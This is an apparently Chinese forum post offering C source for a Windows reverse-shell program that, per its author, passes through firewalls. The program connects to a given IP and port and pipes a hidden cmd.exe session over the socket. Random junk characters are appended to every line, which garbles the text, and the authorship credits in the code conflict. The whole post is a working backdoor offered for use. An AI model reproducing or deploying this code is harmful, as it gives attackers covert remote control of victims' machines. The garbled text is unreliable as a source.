Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 W|)GV0YM  
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/* ============================== QCeMKjCmY  
Rebound port in Windows NT z-n>9  
By wind,2006/7 =yl4zQmg$  
===============================*/ To3^L_v"
 
#include CQ@LmTW[  
#include fuq( 2&^  
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#pragma comment(lib,"wsock32.lib") !Tv?%? 2l  
!\QeBd+  
void OutputShell(); r eGm>  
SOCKET sClient; b6 $,Xh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q_cC7p6t  
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void main(int argc,char **argv) + c`AE  
{ /+>)"D6'  
WSADATA stWsaData; ov8 ByJc  
int nRet; ZAMeqP
t  
SOCKADDR_IN stSaiClient,stSaiServer; q[-|ZA bbr  
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if(argc != 3) b`$yqi<[  
{ %B@!  
printf("Useage:\n\rRebound DestIP DestPort\n"); WrNLGkt  
return; v2d<o[[C  
} rVY?6OMkd  
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WSAStartup(MAKEWORD(2,2),&stWsaData); X:>$8^gS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Q]Rd  
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stSaiClient.sin_family = AF_INET; K4C^m|e  
stSaiClient.sin_port = htons(0); n=q=zn;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j.DHqHx  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -LTKpN`[@  
{ K}x_nW  
printf("Bind Socket Failed!\n"); ;+sl7qlA4  
return; a5|@R<iF  
} TXjloGv^  
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stSaiServer.sin_family = AF_INET; BWh}^3?l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pV7N byb4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /Y,r@D  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yG\UW&P  
{ OiF{3ae(  
printf("Connect Error!"); &R,9+c  
return; );Z]SGd  
} eJHp6)2  
OutputShell(); LEZ&W;bCo  
} f8=]oa]  
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void OutputShell() oaK.kOo  
{ X P;Bhz3j  
char szBuff[1024]; <J&7]6Z  
SECURITY_ATTRIBUTES stSecurityAttributes; 9#qeFBI  
OSVERSIONINFO stOsversionInfo; z}+i=cAN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]3ifdGk  
STARTUPINFO stStartupInfo; je%ldY]/@  
char *szShell; Lg4YED9#  
PROCESS_INFORMATION stProcessInformation; y(5:}x&E  
unsigned long lBytesRead; 0}]SUe^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e"k/d<  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T_LLJ
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stSecurityAttributes.lpSecurityDescriptor = 0; Y.sz|u 1  
stSecurityAttributes.bInheritHandle = TRUE; ]a?bzOr,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _w!a`w*3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w<NyV8-hL  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M:n6BC>t"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ab.tH$:<  
stStartupInfo.wShowWindow = SW_HIDE; q/PNJ#<  
stStartupInfo.hStdInput = hReadPipe; 0fArF*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;b0NGa(k  
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GetVersionEx(&stOsversionInfo); o&SSvW  
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switch(stOsversionInfo.dwPlatformId) qf#)lyr<D6  
{ iPj~I  
case 1: 94/BG0  
szShell = "command.com"; Z9K})47T  
break; @?kJ).  
default: ~F!,PM/  
szShell = "cmd.exe"; Am"(+>W21  
break; *if`/N-q(m  
} fjG&`m#"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !*{q^IO9v&  
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send(sClient,szMsg,77,0); 5,)vJ,fs  
while(1) /=:j9FF  
{ =QOg 6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r^fe4b  
if(lBytesRead) BuOgOYh9  
{ 6%Mt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !&^gaUa{  
send(sClient,szBuff,lBytesRead,0); Ib=x~za@n  
} =r2]uW9  
else 1q7tiMvV-  
{ i)a%!1Ar  
lBytesRead=recv(sClient,szBuff,1024,0); j<<3Pr  
if(lBytesRead<=0) break; Lgk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3FE(}G  
} a_~=#]a  
} zeb=8Dg :  
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return; _}xd}QW  
}